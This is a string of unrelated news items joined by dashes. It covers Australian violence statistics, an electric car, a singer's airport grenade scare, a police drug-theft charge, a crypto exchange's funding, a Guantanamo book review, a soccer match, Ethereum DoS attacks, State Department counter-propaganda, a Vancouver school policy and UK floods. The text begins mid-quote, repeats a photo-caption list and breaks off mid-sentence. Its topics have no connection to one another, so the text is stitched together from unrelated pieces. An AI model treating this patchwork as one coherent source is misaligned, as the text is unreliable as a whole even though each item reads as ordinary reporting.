We’ve done very few deals where we haven’t met the developer or where they originated online. We’re finding that putting the deals together is a very offline process. We’re finding underwriting due diligence. There’s certain information that needs to be collected, has to be ordered from these third-party groups, appraisals, environment surveys, and somebody has to centrally underwrite it. Two functions that we’re looking at there to use the people more efficiently is kind of crowdsourcing that aspect, where if a broker or somebody brings us a deal, they can upload it and share fees with us, or maybe start to have experts in certain markets who underwrite the deal until the crowd becomes a credible third party group. But right now, it’s us handling all those aspects. So I would say the sourcing, underwriting and closing is very old school. It’s the distributing, the investment, the marketing of it online — the investor reporting — that’s where we’ve had a fundamental shift. -Bureau of Statistics finds one in five women have experienced sexual violence but overall rate of violence is dropping Rate of sexual violence against women has risen dramatically since 2012, ABS says The proportion of women suffering sexual violence in Australia has increased noticeably since 2012, despite the rate of violence declining overall. The Bureau of Statistics has released new data on “personal safety” that focuses on partner violence, emotional abuse, sexual harassment, threats of physical assault and episodes of stalking in Australia. The data is based on a survey of roughly 21,250 people aged 18 years and over, conducted between November 2016 to June 2017. According to the data, the proportion of Australians who have experienced violence in the last 12 months has declined significantly over the last decade (with “violence” defined as any incident involving the occurrence, attempt or threat of either physical or sexual assault experienced by a person since the age of 15). The proportion of Australians who experienced violence in the last 12 months has fallen from 8.3% in 2005 to just 5.4% in 2016, driven by a large drop in experiences of physical violence. For men, the proportion who have experienced physical violence in the past 12 months has almost halved in the last decade, from 10% in 2005 to 5.4% in 2016, while for women that figure has fallen from 4.7% to 3.5%. But the rate of sexual violence against women has increased noticeably in the last five years. The ABS defines “sexual violence” as the occurrence, attempt or threat of sexual assault experienced by a person since the age of 15. It defines “sexual assault” as an act of a sexual nature carried out against a person’s will through the use of physical force, intimidation or coercion, including any attempts to do so. It includes rape, attempted rape, aggravated sexual assault (assault with a weapon), indecent assault, penetration by objects, forced sexual activity that did not end in penetration and attempts to force a person into sexual activity. Incidents so defined would be an offence under state and territory criminal law. The proportion of women who have experienced sexual violence in the last 12 months increased from 1.2% in 2012 to 1.8% in 2016. It means one in five women (18% or 1.7 million) have now experienced sexual violence, with sexual assault experienced by 17% of women (1.5 million) and sexual threat experienced by 3.6% (339,900). One in 20 men (4.7% or 428,800) have experienced sexual violence since the age of 15, with sexual assault experienced by 4.3% of men (384,000) and sexual threat experienced by 0.8% (73,500). The survey also found women are far more like to be stalked. One in six women (17% or 1.6 million) aged 18 or over and one in 15 men (6.5% or 587,000) have experienced an episode of stalking since the age of 15, with the vast majority of stalkers being men. Roughly 94% of these women (1.5 million) were stalked by a male and approximately 10% (160,700) were stalked by a female (some women have been stalked by both men and women). Of the women who experienced an episode of stalking by a male, the most common stalking behaviours experienced in the most recent episode were: maintained unwanted contact by phone, postal mail, email, text messages or social media websites (50% or 747,500) loitered or hung around outside their home (47% or 691,200) followed or watched them in person (42% or 627,300). Of the women who experienced an episode of stalking by a female (160,700), the most common stalking behaviour experienced in the most recent episode was: maintained unwanted contact by phone, postal mail, email, text messages or social media websites (58% or 92,500). Men who had experienced an episode of stalking (587,000) were as likely to have experienced stalking by a male stalker 54% (316,700) as by a female stalker 51% (300,100). -'Leccy Tech Strange things can often be found off the beaten track at car exhibitions, and the dustier corners of the Pavillon Vert at this year's Geneva Motor Show proved no exception. Courb's C-Zen: pour les enfants terrible The C-Zen - 'C'est Zéro Emission Nocive', or 'No Harmful Emissions' – from French company Courb is a powered by a 12kW (16bhp) electric motor hooked up to a 96V lithium-ion battery pack weighing 100kg. Drive is sent to the back wheels through an automatic gearbox. Being made of tubular aluminium, the whole thing only weighs 480kg, including the battery pack. So despite the tiny power output, the C-Zen will still apparently make it to a limited top speed of 95kph (59mph) and has a range of 160km (99 miles) at a steady 50kph (31mph). Aimed mainly at French yoof – due to some strange loophole in French law, the C-Zen is classified as a “heavy quadracycle” and as such can be driven on the open road by a 16 year old – the C-Zen will soon be available for €10,500 (£9497/$13,342). Look, ma mere, no licence! In an effort to keep les enfants safe and well, in addition to being its own roll-cage, the C-Zen comes loaded with safety kit that includes a head-up display, night vision camera, biometric driver recognition, breathalyser starter inhibitor – so no joyriding if you have been on the bordeaux – and it will only move off if you have your seatbelt fastened. Built in GPS allows the parents to keep tabs on what petit Pierre or Élise is up to, while a 'stop-by-SMS' function allow you to turn the thing off remotely if someone nicks it. Does this still work when the thing's going flat out on the freeway, we wonder? For the safety of other drivers, we hope not. Send a text message to disable it The C-Zen also comes with a full set of detachable glass panels to ward off those inclement Parisian winters when you're not zipping about the Côte d’Azur. The are currently no plans for the C-Zen to cross La Manche. ® -'Flaming Lips' Singer Shuts Down OKC Airport ... with a GRENADE 'Flaming Lips' Singer Wayne Coyne Shuts Down OKC Airport ... with a GRENADE Breaking News Sorry Sorry Sorry!! Everyone that was inconvenienced because of my grenade at OKC airport!!moby.to/gf33hv — Wayne Coyne (@waynecoyne) November 10, 2012 Question: What kind of dumbass packs a freaking grenade in his carry-on ... and accidentally tries to take it onto a plane? Answer:singer. And he shut down an Oklahoma City airport in the process.The grenade wasn't live -- thankfully -- but according to the police report, Coyne still accidentally packed it in his bag on November 10th and triggered an alarm at the TSA checkpoint at Will Rogers airport ... like a dumbass.Needless to say, TSA freaked ... and shut down the terminal while officers frantically tried to figure out how to handle the situation.And how's this for hilarious -- according to the police report, the TSA ran around like a chicken with its head cut off ... because it didn't have any "bomb guys" on duty. (Editor's note: isn't that the whole point of TSA?)According to reports, Coyne was flying to LAX to catch a preview of the new Flaming Lips musical "Yoshimi Battles the Pink Robots" -- and told police he was given the dead grenade at a party as a joke.Shocker, the grenade reportedly resulted in several missed flights ... and lots of wasted money -- but once TSA determined it was harmless, they let Coyne go.Coyne tweeted following the incident to make up for the SNAFU, writing, "Sorry Sorry Sorry!! Everyone that was inconvenienced by my grenade at OKC airport."Thanks to thelostogle.com for the pic. -Yorkville’s former deputy police chief pleaded not guilty today to charges that he stole addictive narcotic painkillers from the department’s drug collection program, Kendall County State’s Attorney Eric Weis said. Dave Delaney, 37, of Yorkville, was charged in May with illegal possession of a controlled substance and theft of government property. The drug collection program was designed for residents to turn over to police expired and unused prescription drugs for safe and proper disposal. After Yorkville police officials became suspicious that some drugs that had been turned in were missing, they asked the Illinois State Police to do an investigation. The investigation led to the discovery that some of the missing drugs were in Delaney’s possession, authorities said. Yorkville police discontinued the drug collection program after announcing Delaney’s arrest. Delaney was demoted from his administrative rank and is on unpaid leave of absence. If convicted, Delaney, who has no previous criminal record and is out on $2,500 bond, faces up to three years in prison, Weis said Delaney’s next court appearance is set for Aug. 29. abarnum@tribune.com -Danish-headquartered decentralized exchange (DEX) OpenLedger has received seed funding to the tune of Dkr11 million (c.$1.6m) from a group of Chinese, American and European investors after a recent tour of blockchain and cryptocurrency events in the U.S., China and South Korea designed partly to sound out and attract potential crypto investors. The Pandrup-based exchange operator up in the north of Denmark plans to use these proceeds to “start immediate production” on four major projects, which will be split equally between the initiatives. The names in the frame are eDEV.one (EDEV, JOYY), a blockchain-based freelancing platform, GetGame (REALITY), a platform for gaming, Apptrade (APPX), which creates portfolios of apps and has been dubbed the ‘Wall Street of Apps’, and OCASH, a new BitShares token representing an ‘all-in one crypto’ debit card solution. The announced slug of seed capital comes following an Asian-U.S. Tour initiated by the exchange operator after it attended blockchain conferences in New York, Seoul and Shanghai. Among other outcomes from this globetrotting led by the exchange’s CEO Ronny Boesing was the forging of a partnership with the first public blockchain in China, ViewFin, as well as an agreement to have OBITS, the official currency of OpenLedger, listed on two Chinese exchanges based in Shanghai - SZZC and Lhang. Add to that Chinese ICOs and their tokens are to be added to the OpenLedger's DEX, which is designed for high-speed transactions. To date some twenty Initial Token Offerings (ITOs), Initial Coin Offerings (ICOs) and their tokens are supported by OpenLedger’s ecosystem. Investing In The Projects ITOs for the above mentioned projects will be announced over the coming months, with funds raised from these crowdfunds being invested into the development of each project individually, while simultaneously allowing investors to participate. At the end this month, OpenLedger intends to announce three individual sharedrop snapshots for OBITS holders who hold tokens related to eDEV.one, Getgame and OCASH. A sharedrop snapshot is where a picture of all Blockchain balances is taken at one specific time. In essence by holding an amount at that time, you are joining the sharedrop with it. GetGame is claiming to offer “many different facets for both game creators and investors.” Its platform is based on “game-related ideas” with a focus on Virtual Reality (VR), Augmented Reality (AR) and any blockchain-based creations that can demonstrate a chance of success. Before being accepted by the GetGame platform, each game must be validated, and agree to share 10% of their future revenue with GetGame ApS, and all its ITO token (REALITY and JOYY) holders. Like Kickstarter, it is explained that each game can create their own profile where investors can start investing in games that they believe in. “Each game will be given their own unique token that investors will be receiving in proportion to the sum invested. These tokens can be traded within the platform,” said Boesing. eDEV.one is currently preparing for its pre-ICO stage this August with the platform slated to launch during the first quarter of 2018. Its mission is to help clients hire freelancers that suit the skills and requirements that are needed, while freelancers browse available jobs. Freelancers and clients agree on the terms of engagement, including the amount that a certain job is worth. The eDEV.one ‘Escrow Milestone Payment System’ serves as a neutral third-party between freelancers and clients and is created on the base of a Smart contract. OCASH, a new BitShares token that is currently held by early backers, plans to present what is claiming is the “first all-in-one debit card” at the end of next month, with its own customized app and website for people to sign up for the debit card. It brings a major cards’ payment system to the OpenLedger and BitShares networks, thereby allowing token holders to use the world's only Stablecoins (SmartCoins) - including bitUSD, bitEUR, bitGBP, and Rubles - plus other OpenLedger tokens such as OBITS, bitcoin (BTC), and ethereum (ETH), to enable users to purchase items anywhere that accepts debit cards. OCASH will be offered to all future ITO investors, with tokens expected to be available from early September 2017. Holders of OCASH will receive a monthly dividend based on a distribution model using “50% of the future revenues generated” according to Boesing. Apptrade Powered by the digital token APPX, OpenLedger's Apptrade, a start-up based in Santa Monica, California, and domiciled with an address in Denmark, creates portfolios, or groups, of apps, where if one of those apps becomes the next Instagram or Angry Birds, then the value of the portfolio rises. Well, that’s the theory. “Each app portfolio is designed to ensure that every app included within it is supporting all the others through regularly scheduled updates, highly visible cross promotion, and a high standard of quality,” Boesing said. He added: “App creators can launch a portfolio of their own, or join an existing portfolio, raising awareness and revenue for their applications.” It is understood that OCASH’s new website is expected to be launched shortly and will provide additional information about the project. -The Terror Courts: Rough Justice at Guantanamo Bay, by Jess Bravin, Yale University Press, 414 pages, $30. I was considerably more pessimistic about the War on Terror's impact on American liberty before I read Jess Bravin's The Terror Courts: Rough Justice at Guantanamo Bay. It's not that the author is an optimist—far from it. Bravin, The Wall Street Journal's Supreme Court reporter, describes with dismay how George W. Bush's administration attempted to create a shadow justice system for dealing with those the executive branch views as perpetrators and facilitators of terror. Wielding no partisan axe, Bravin also laments Barack Obama's failures to renounce many of the executive powers claimed, and often exercised, by Bush. But Bravin also describes a civil war within the national security establishment. As Bush's most hardened hawks charged ahead in rounding up suspected terrorists, others within the government fought, both overtly and covertly, to protect constitutional procedures. It is no secret that sectors of civil society—the civil liberties organizations, the organized bar, much of the news media—battled Bush and his henchmen (and now Obama and his henchmen) to prevent abuses of civil liberties by military tribunals. Bravin showed that they had an important set of allies in that fight. To the extent that liberty and due process have survived, they endure thanks in large measure to men and women on the inside, who rebelled against, and in subtle ways worked to undermine, what they deemed threats to the nation's fundamental institutions. Those military commissions, established by presidential order, were assigned to try terror suspects on the basis of evidence and procedures that would never hold up in either a court martial or a federal court. The most frequent and dramatic problems arose when the president’s men determined to use the fruits of coercive interrogation techniques—torture, in the eyes of many within the military justice system—as evidence in a tribunal. Yet the commissions never did become kangaroo courts. You can give part of the credit for that to the unexpectedly assertive federal courts, and part to an occasionally assertive Congress. But Bravin shows, in fascinating and often dramatic detail, how members of the security agencies and the military pushed back against the changes, effectively thwarting the president's men. Officers on the ground turned out to have minds and principles of their own, and those principles frequently conformed more precisely to constitutional values than those of their superiors. Marine Lt. Col. Stuart Couch, for example, is an ROTC lawyer who repeatedly refused to prosecute terrorist suspects whom he concluded had been tortured by CIA agents. And Navy Lt. Commander Charles Swift, the lawyer appointed by the Pentagon to try to wrest a guilty plea from captive Salim Hamdan, ignored his marching orders and instead advised his client to fight rather than engage in a plea bargain. The ultimate result was the Supreme Court opinion in Hamdan v. Rumsfeld (2006), which imposed legal constraints on the Bush administration’s program for trying alleged terrorists by military commission. Thanks to Lt. Commander Swift and the Supreme Court, Hamdan, who had been Osama bin Laden's chauffeur, received a fair trial. The government charged him with terrorist conspiracy and with providing material support to terrorists, essentially attempting to hold Hamdan responsible for the actions of his employer. Because of the absence of evidence that Hamdan did much of anything other than drive the boss around, the prosecution tried to fill in the gaps by calling an expert witness, Evan Kohlmann. For the munificent sum of $25,000, Kohlmann lectured the military jury on the horrors of the Al Qaeda terror network. Both civilian and military prosecutors frequently call on Kohlmann, whose credentials are scant, to frighten jurors with his vivid narratives. (Disclosure: Kohlmann brought his dog-and-pony show to a trial in federal district court in which I served on the defense team.) The military jury proved itself immune to these scare tactics and to the government's overwrought theories of culpability. It acquitted Hamdan on the conspiracy count. It convicted him on the charge of material assistance, but instead of the life sentence the prosecution hoped for it gave him five months and eight days after crediting timed-served awaiting trial. (This past October, after the cut-off date of Bravin's narrative, the U.S. Court of Appeals in Washington overturned even that conviction, holding that the international law of war did not deem "material support for terrorism" to be a war crime.) Bravin gives a bit too much credit to the Supreme Court for standing up to the Bush administration's assault on the writ of habeas corpus. While the court dutifully held that Guantanamo prisoners were entitled to challenge their incarceration via the writ, its prescription for the content of habeas hearings was rather watered down. But this is a minor quibble in the face of a remarkable job by one of the news media's most persistent reporters on matters of law and national security. Bravin penetrated a system designed for railroading prisoners in near-total secrecy, and he demonstrated the persistence of many ordinary—and some extraordinary—Americans’ visceral devotion to such quaint notions as the presumption of innocence and the rule of law. -TUCSON, Arizona (January 27, 2017) – The New York Red Bulls opened the 2017 preseason with a 2-0 win over the Portland Timbers on Friday night at the Kino Sports Complex in Tucson. The teams played three 30-minute sessions. “For us, we have to accelerate our process here because we have a very important game in about 26 days,” said Red Bulls Head Coach Jesse Marsch. “The emphasis was to come down here and play MLS competition immediately. I think, overall, a really good performance from us. We were very organized. We’re missing a bunch of guys, but we’ve got a really good club here, and a bunch of good, young players that we really like and think have bright futures…. On a night like tonight I think you saw a lot of them have good nights and [they] fit into the way we play so, overall, thought it was pretty good.” New York’s starting group largely consisted of MLS players from last season, but also featured second-round draft pick Ethan Kutler, NYRB II center back Aaron Long and trialist forward Robbie Findley. New York got on the board with an own goal in the 3rd minute when a Kemar Lawrence cross deflected off of a Timbers player and into the net. The rest of the first period passed uneventfully, with New York getting the better of the scoring chances. The second stanza featured a lineup reminiscent of NYRB II’s USL Championship run from last season, with newly-signed Dan Metzger playing alongside Homegrown Players Brandon Allen, Tyler Adams and Derrick Etienne Jr. NYRB II’s Long also played the second period alongside Tim Schmoll, Florian Valot, Vincent Bezecourt, and David Najem. Bezecourt converted a penalty in the second period to round out the scoring. Sal Zizzo and Mike Grella both missed the match – Zizzo was ruled out due to illness, while Mike Grella picked up a knock in training. New York is back in action on Tuesday, January 31 with a match against Real Salt Lake. Scoring Summary NY – (own goal) 4’ NY – Bezecourt (PK) 55’ New York Lineup: Ryan Meara (Rafael Diaz, 60’); Ethan Kutler (David Najem, 48’), Aurelien Collin (Jordan Scarlett, 30’, Tim Schmoll, 43’), Aaron Long (David Somma, 60’), Kemar Lawrence (Justin Bilyeu, 48’), Felipe (Tyler Adams, 30’, Zeiko Lewis, 70’), Sean Davis (Dan Metzger, 48’), Daniel Royer (Florian Valot, 30’), Alex Muyl (Vincent Bezecourt, 48’), Robbie Findley (Derrick Etienne, Jr. 30’, Arun Basuljevic, 70’), Gonzalo Veron (Brandon Allen, 48’) -Between a block and a hard place? While ethereum‘s latest hard fork went according to plan yesterday (so far without any drastic side effects), attacks on its blockchain quickly began anew. In this case, ethereum executed a hard fork on Tuesday in a bid to stop denial of service (DoS) attacks that have been ongoing for about a month. Following weeks of transaction and block creation issues, the platform’s developers determined that the best way to fix the issue was to reprice certain network functions, and users and miners responded by quickly upgrading their software (a process known as a ‘hard fork’). The stable transition to a new transaction record was what many in ethereum team arguably had expected, since the fork was a technical change (unlike the contentious move to rewrite the network’s ledger after the hack of The DAO). However, the attacker appears to have switched gears, taking advantage of security holes that weren’t expected to be patched until later. Developers are currently working on new fixes, according to Ethereum Foundation IT consultant Hudson Jameson, who told CoinDesk: “We are working on client updates to help mitigate the issues somewhat until the second hard fork happens.” Not yet thwarted But this new wave of attacks has led to new problems, though they were (to an extent) forseen. From the start, ethereum developers had planned two hard forks, as the attacker had been taking advantage of a variety of attack vectors. The first aimed to increase the price of certain opcodes that the attacker was successfully abusing to make it harder for him or her to slow down the network. The second hard fork was expected to remove empty accounts the attacker created to bloat the blockchain. Still, with the second fork yet to be executed, short-term problems have emerged. In response to the most recent attacks, the Ethereum Foundation issued a recommendation to miners, advising them to lower the gas limit (thus limiting how many transactions can be carried out) before a second fork. At the time of press, cryptocurrency exchange ShapeShift has also paused the trading of ether (again). Ethereum creator Vitalik Buterin suggested he believes the two attacks can be thwarted with the second technical upgrade. “A successful hard fork round two would resolve this for the short and medium term as it would make the state possible to put in memory again,” he explained. The problem, Jameson said, is that the blockchain state has grown too big, and the attacker is taking advantage of that. “The [second] hard fork will shrink the size of the blockchain state and disallow a specific attack that is being utilized to activate the empty accounts over and over again,” he explained. One less severe attack, which increases processing times to an estimated one to three seconds, takes advantage of another mispriced opcode. Johnson and Buterin claimed that the plan is to raise the price in the second hard fork. Conditions ahead Even after the second hard fork, however, it’s unclear what will happen or whether it will prevent attackers from finding other vectors. Around these attacks there have been wider conversations about how (and whether) ethereum can stop these sorts of attacks in the short term or long term. Many argue that the attacks are an inevitable result of the way ethereum is designed. (More on-platform capabilities mean that ethereum has a larger attack surface than other blockchain networks). The new attacks prompted BitGo engineer Jameson Lopp to wonder “how many hard forks it will take to plug all the holes”. And some observers are questioning whether developers are taking enough care before making changes to the network. “The real story behind this attack and the hardforks is that they are not really testing well,” said IBM blockchain leader of the Latin American division Martin Hagelstrom. “Even when the devs talk about these issues it does not sound like they are aware that their network has $1bn in it.” But others remain optimistic about ethereum’s future, especially since there haven’t appeared to be any serious problems so far as a result of the fork. Even if the attacker isn’t thwarted this time, to some this only furthers idea that hard forks are an option for combating them, and that each hurdle that ethereum jumps brings it closer to a working platform. Marco Streng, CEO of hosted ethereum mining firm, Genesis Mining, indicated he remains impressed by the network’s response to the pressures it has faced in recent months. Streng concluded: “It sets a clear sign ethereum will go out of this stronger than before.” Spinning top image via Shutterstock -Michael Lumpkin, who joined the State Department after serving as DoD's special-ops leader, believes he’s got a model for future efforts to counter extremism online in real time. As the Islamic State, ISIS or Daesh, continues to lose territory in Iraq and Syria, it’s their next act that most concerns Michael Lumpkin, the Obama administration’s new counter-propaganda czar. “What I fear is that Daesh, once it’s constrained on the battlespace, it will rebrand itself as something else. And then we have to be ready for that,” Lumpkin, told Defense One in an interview at the State Department. “but not two years after.” Lumpkin is referring to the State Department’s slow-to-launch campaign to fight ISIS’s robust online messaging campaign he was called in to turn into something, well better. Lumpkin, director of the State Department’s Global Engagement Center, or GEC, is a newcomer to State but no stranger to the Islamic State. Previously, as assistant secretary of defense for special operations and low-intensity conflict, or SOLIC, Lumpkin was the Defense Department’s policy lead on virtually everything involving special operations. The former Navy SEAL knows his way around Sunni-dominated areas of Iraq, having served as deputy commander of all special operations forces early in the Iraq War. After retiring, Lumpkin ran for California’s 52nd district against Republican Rep. Duncan D. Hunter, making his service a cornerstone of his campaign. He lost the election, joined the private sector, and went back into government and the Pentagon. The GEC effectively replaces the Center for Strategic Counterterrorism Communications, or CSCC, which former Secretary of State Hillary Clinton stood up as a means to combat al-Qaeda’s propaganda efforts. Alberto Fernandez, vice-president of the Middle East Media Research Institute, and the coordinator CSCC from 2012 until 2015 says the change is mostly cosmetic. “It’s more of a matter of nuance…not that big. They’ve made it look big to bamboozle the media,” he said. The mission of both the CSCC and the GEC is no less vital just because ISIS continues to lose on the battlefield. In fact, says Fernandez, as the group loses territory they could actually become more intent on staging dramatic attacks in the West, using media to do it. “Before you had a functioning state. That shows your relevance. If you no-longer have the state, you have to do other things to show ‘Hey, we’re still around.’” Preferably, big things, he said. “In the West, that becomes even more of an imperative.” But the GEC is much better funded than its predecessor. In fiscal 2015, the former program’s budget was $5.4 million. The new GEC budget will reach close to $16 million this year and the administration want $21.5 million next year. The bigger budget represents, if nothing else, a growing sense of urgency. The State Department’s response to ISIS online launched an English language ad campaign called “Think Again, Turn Away.” To many observers, the campaign represented the equivalent of a “Just Say No” marketing effort—a lame and marmish admonishment to stay away from dangerous kids, stamped with the seal of approval of the United States government. Rita Katz, director of the SITE Intelligence Group, described the campaign as an “embarrassment.” Lumpkin, too, has been frank about the campaign’s limitations. In testimony last October, he said the State Department had put just 20 people on the anti-ISIS propaganda mission, of which the Defense Department was providing five. “The fact that we have 25 percent of the CSCC detail to fill critical positions over there tells me that they don’t have the manpower to put against the mission like they would,” he said. Someone, it seems, was listening. In March, President Barack Obama signed an executive order establishing the GEC, where Lumpkin is trying to build an entirely new model for countering extremist messaging: starting with prevention. Lumpkin wants the State Department to focus not on people who have already joined ISIS but people who may be vulnerable to recruitment. “Those on the battlefield, the coalition and DOD can take of it. What I’m focused on is people joining and trying to starve [ISIS] of recruits and to make sure that they understand the impacts on their families, the impacts on their livelihood and their life.” Making that case requires more than just a Twitter or Facebook page but a detailed understanding of the target audience, people around the world who may be vulnerable to ISIS messaging. “Tip O’Neil said that all politics was local. All messaging is local, too. You have to look through the local lens,” Lumpkin said. “Daesh, in particular, they are not creating new audiences. They are going after highly vulnerable people who are susceptible to their messaging. What we have to do, whether it’s Daesh in Iraq and Syria, or someone desiring to be a foreign fighter, or it’s in Nigeria with Boko Haram is make sure that the message is tailored to the audience. That’s exactly what Daesh does. It tailors the message based on the audience.” One of the key features that distinguishes ISIS from other extremist groups is the way its network of online followers and supporters around the world use social media in the way the platform was designed to work, to have two way conversations. Consider the case of “Alex” a 23-year old woman from rural Washington State, profiled by The New York Times in the summer of 2015, who was a target recruit for the Islamic State. Her story provides a chilling illustration of the group’s reach and the persistence of its messaging. For most in the West, ISIS is a menacing phantom, a headline, and news clip. For some like Alex, ISIS was a constant and familiar entity. She reports how one of the group’s supporters named Faisal, “became her nearly constant companion, spending hours each day with her on Twitter, Skype and email, painstakingly guiding her through the fundamentals of the faith.” The State Department, of course, can’t do that with every potential vulnerable recruit. At the core of Lumpkin’s efforts is an understanding that the U.S. has limits in the way it tries to talk directly with people and populations. The strategy employs a network of partnerships with organizations and others beyond the State Department, including some organizations that can do the same sort of one-on-one connecting as ISIS. “We have a wide range of partners. We have nation-states standing up messaging centers, working with the Global Engagement Center. We’re working with them to make sure that they have the technical skills to do effective messaging. We’re working with non-governmental organizations … who work with these different audiences of susceptible populations.” The executive order establishing the GEC gives Lumpkin hiring authority to bring in people from outside of the government, quickly. “I’m raiding, or poaching, industry for talent,” he says, by which he means social media companies in Silicon Valley. “We have a talented force already within the GEC, but we’re augmenting it with folks from the private sector who have got significant experience, whether it be with analytics that underpins what we’re doing, whether it’s with the reach, influencing vulnerable populations so that they don’t’ go down this path of radicalization and don’t become violent. So we’re able to leverage people that have significant marketing expertise or who have expertise in building partnership, we’re able to bring them in directly, which is a powerful, powerful tool.” The GEC is emerging as a place where technologists in both the intelligence community and Facebook types, people who find themselves on opposite sides of several key issues, can find common ground and common mission. But every tool comes at a cost. The U.S. intelligence community, for instance, is prohibited from undertaking any action to influence American domestic politics, policy, or media former Defense Advanced Research Projects Agency program director Rand Waltzman has said the law is “poorly conceived” and antiquated, and one of many reasons why the United States is “unable to effectively take advantage of social media.” Poorly conceived or no, it’s one of many laws, like the 1974 Privacy Act, that shows up in daily discussions about what the center can and can’t do, sometimes to the chagrin and confusion of foreign partners. “It’s part of the conversations that we have with our partners around the globe so that they understand the challenges that we have.” After all, Facebook, Twitter, and even Telegram are global companies. Millions of people from around the world interact with one another. That’s the whole point. But that makes trying to influence some people but not others incredibly difficult. “We’ve been very transparent about the fact [that] this is hard,” says Lumpkin. Other tools include polling and traditional marketing analysis, and some new ones, such as the Quantitative Crisis Response, or QCR, from DARPA, described in the agency’s budget as a big data analysis tool to find patterns to “understand the true nature of non-traditional threats, track the effectiveness of remedial measures and develop or optimize alternative strategies.” How will Lumpkin know his efforts have been successful? The most important metric for success is watching recruitment numbers for ISIS continue to drop. “Again, we’re not a stand alone panacea that will solve it. This is in conjunction with every other aspect of national power, it’s affecting situations on the battlespace, it’s the building partner capacity, when we see the Daesh brand as an organization, if it’s in trouble… people clearly recognize that Daesh is not the thing they made themselves out to be.” -Vancouver School Board trustees approved a controversial policy that allows students to use the washroom and the gender pronoun of their choice, after a rowdy meeting that saw parents who support the policy square off against those who oppose it. The vote passed with seven votes. Only two trustees – Sophia Woo and Ken Denike – voted against it. Roughly 100 residents packed the small room where the meeting was held. Many of them wore bright colours and carried rainbow flags. Others held signs bearing slogans such as "education not indoctrination" and "due process is needed from VSB." Story continues below advertisement VSB chair Patti Bacchus threatened several times to have security remove disruptive audience members from the room. Ms. Woo tabled a motion asking for a lengthier consultation process, but it was defeated seven votes to two. Ms. Woo, along with fellow trustee Mr. Denike, were expelled from the Non-Partisan Association caucus on Friday after holding a press conference calling for the policy to be delayed. Outside the meeting, families of transgendered youth expressed relief, saying the policy will provide support for students who are experiencing confusion about their gender identity. Jane Duff, who has a transgender child, said the policy will help youth who are questioning their identity but may be afraid to voice their feelings. "It's unbelievable that so much commotion has been created around this," said Ms. Duff. "I'm relieved and I'm happy, not only for us but for the many voiceless kids at school who need to have that environment of support." Story continues below advertisement Story continues below advertisement Cormac O'Dwyer, a recent graduate of Lord Bing Secondary School, decided to come out as a boy when he was 13 years old. "I didn't want to have to hide who I was and I wanted to continue at the school that I was in," Cormac said. "The environment was really respectful of that and really accommodating of that but the teachers and staff just didn't know how to go about doing it. This policy writes down exactly what they needed to know seven years ago." But Henry, a parent of who did not want to provide his last name, said the policy could allow young children to make decisions that they will later regret. "For a five- or six-year-old, how do they judge whether they are a girl or a boy?" said Henry. "They cannot." -What’s up with our weather? It has been the wettest December since records began for Scotland and Wales, the fourth-wettest for Northern Ireland and the second-wettest overall for the UK. In the past four weeks there has been an almost complete lack of frost, with the UK average temperature during December hitting a record-breaking 8C, which according to the Met Office is about 4.1C above the long-term average – beating the previous record of 6.9C set in 1934. Join Independent Minds For exclusive articles, events and an advertising-free read for just £5.99 €6.99 $9.99 a month Get the best of The Independent With an Independent Minds subscription for just £5.99 €6.99 $9.99 a month Get the best of The Independent Without the ads – for just £5.99 €6.99 $9.99 a month This 4.1C temperature anomaly was higher than for any calendar month since 1910, which means that temperatures in the last month of 2015 – now the officially the warmest year globally – were closer to what we usually expect for April or May. But it was the extreme rainfall over Wales, Northern Ireland, North-west England and Scotland that really brought things home. Warm, humid air carried by strong south-westerly winds influenced by the Atlantic jet stream dumped huge volumes of rain over the hills of northern Britain. It began in earnest with Desmond, a fierce Atlantic storm that dropped 13.44 inches of rain at Honister Pass in Cumbria between 6.30pm on 4 December and 6.30pm on 5 December – a new national record for rainfall accumulation in a 24-hour period. Shape Created with Sketch. In Pictures: Floods hit the UK Show all 17 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. In Pictures: Floods hit the UK 1/17 Floods hit the UK Members of Cleveland Mountain Rescue and soldiers from 2 Battalion The Duke of Lancasters Regiment evacuating people from the Queens Hotel in York city centre as the River Ouse floods on December 27, 2015 2/17 Floods hit the UK Teams in Whalley evacuate villagers from their homes 3/17 Floods hit the UK A resident of Glenridding, which flooded for the third time this month, surveys the damage 4/17 Floods hit the UK The River Ouse, York, has burst its banks 5/17 Floods hit the UK A soldier from the 2nd Battalion, Duke of Lancaster’s regiment helps to sure up flood defences in Appleby, Cumbria, one of the areas worst affected by the floods 6/17 Floods hit the UK Experts believe the cost of clearing up the most recent flooding could exceed £50m (PA) 7/17 Floods hit the UK Hundreds of people have been evacuated from their homes in York 8/17 Floods hit the UK A police helicopter photographed the extent of the flooding in York on 27 December. 9/17 Floods hit the UK Flooding at Clifford's Tower in York on 27 December 10/17 Floods hit the UK Flooding along York's Inner Ring Road on 27 December 11/17 Floods hit the UK Water runs out of the Lowther pub in York on 27 December after the River Ouse bursts its banks in York city centre. 12/17 Floods hit the UK Flooded streets in Dumfries, Scotland on 30 December Getty 13/17 Floods hit the UK A car left submerged in floodwater in Newton Stewart, Scotland PA 14/17 Floods hit the UK Staff at the Worlds End bar in Dumfries Scotland desperately try to pump floodwater out of the building PA 15/17 Floods hit the UK A man stands in the doorway of his cottage in the flooded town of Straiton in Scotland PA 16/17 Floods hit the UK Flooding in the village of Aberfeldy, Perthshire, Scotland 17/17 Floods hit the UK Man wades through floodwater outside a fish and chip shop in Dumfries, Scotland PA 1/17 Floods hit the UK Members of Cleveland Mountain Rescue and soldiers from 2 Battalion The Duke of Lancasters Regiment evacuating people from the Queens Hotel in York city centre as the River Ouse floods on December 27, 2015 2/17 Floods hit the UK Teams in Whalley evacuate villagers from their homes 3/17 Floods hit the UK A resident of Glenridding, which flooded for the third time this month, surveys the damage 4/17 Floods hit the UK The River Ouse, York, has burst its banks 5/17 Floods hit the UK A soldier from the 2nd Battalion, Duke of Lancaster’s regiment helps to sure up flood defences in Appleby, Cumbria, one of the areas worst affected by the floods 6/17 Floods hit the UK Experts believe the cost of clearing up the most recent flooding could exceed £50m (PA) 7/17 Floods hit the UK Hundreds of people have been evacuated from their homes in York 8/17 Floods hit the UK A police helicopter photographed the extent of the flooding in York on 27 December. 9/17 Floods hit the UK Flooding at Clifford's Tower in York on 27 December 10/17 Floods hit the UK Flooding along York's Inner Ring Road on 27 December 11/17 Floods hit the UK Water runs out of the Lowther pub in York on 27 December after the River Ouse bursts its banks in York city centre. 12/17 Floods hit the UK Flooded streets in Dumfries, Scotland on 30 December Getty 13/17 Floods hit the UK A car left submerged in floodwater in Newton Stewart, Scotland PA 14/17 Floods hit the UK Staff at the Worlds End bar in 